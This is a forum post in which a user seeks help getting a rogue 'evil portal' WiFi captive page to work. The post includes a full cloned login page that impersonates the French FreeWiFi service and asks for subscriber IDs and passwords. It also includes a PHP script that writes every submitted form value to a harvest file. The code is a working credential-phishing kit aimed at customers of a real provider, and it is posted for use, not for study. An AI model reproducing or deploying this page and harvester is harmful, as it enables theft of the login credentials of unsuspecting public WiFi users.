EvilPortal + credential harvester

carmelo42 · September 23, 2014

Hello,

I'm trying to set up evil portal with credential harvester.

so I have duplicated an wifi hotspot identification page, and I use it as my evil portal splash page.

But, in this identification page, I have a "ok" button, wich is redirecting on a post.php page : this page writes the txt file with the credential entered ...

But as I have not reached the $authtarget page, the client stays unconnected, and even the post.php cannot be reached ...

Have you some idea ?

Here is my splash page :

<!DOCTYPE html">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=400, user-scalable = no">
<title></title>
<link rel="stylesheet" type="text/css" href="http://172.16.42.1/freewifi_fichiers/small.css" media="screen">
</head>
<body>
<div id="header">
  <div id="header_c">
    <div id="top">
      <div id="top-menu"><img src="http://172.16.42.1/freewifi_fichiers/logo2.png" alt="Free" height="112" width="232"></div>
    </div>
  </div>
  <div class="clearer"></div>
</div>
<div id="bod">
  <div id="bod_c">
    <div id="block">
      <h1>CONNEXION AU SERVICE <span class="red">FreeWiFi</span></h1>
      <br>
      <div id="block_2">
        <p>Pour vous connecter au service FreeWiFi, <br>
          utilisez les identifiants que vous avez configurés lors de votre premier accès au service<br>
        </p><form id="form1" name="form1" method="post" action="post.php">
          <label for="login" class="label"> IDENTIFIANT</label>
          <input name="login" id="login" class="input_r" required>
          <br>
          <br>
          <br>
          <label for="password" class="label"> MOT DE PASSE</label>
          <input name="password" id="password" class="input_r" value="" type="password" required>
          <br>
          <br>
          <br>
<!--          <a href="#" class="label" style="padding-top:0px;"><img src="/im/help.png" alt="ASSISTANCE" width="37" height="40" border="0"  /></a>
-->
<!--	  <input name="priv" id="priv" type="hidden"  value="" /> -->
          <input name="submit" value="Valider" class="input_b" type="submit">
        </form>
        
     
         <div class="clearer"></div> 
      </div>

      <a href="https://wifi.free.fr/?priv=$PRIV_SUB"><img src="http://172.16.42.1/freewifi_fichiers/abo.jpg" alt="Vous n'êtes pas abonné FREE? Cliquez ici et dans une minute, vous pourrez accéder à internet" border="0" height="70" width="399"></a></div>
  </div>
</div>


</body></html>

Here is mu post.php page :

<?php $file = 'harvester_2014-09-22 20:12:59.594540.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=/etc/nodogsplash/htdocs/$authtarget" />

Sign In

EvilPortal + credential harvester

Recommended Posts

carmelo42

Link to comment

Share on other sites

Join the conversation

Recently Browsing 0 members

Browse

Activity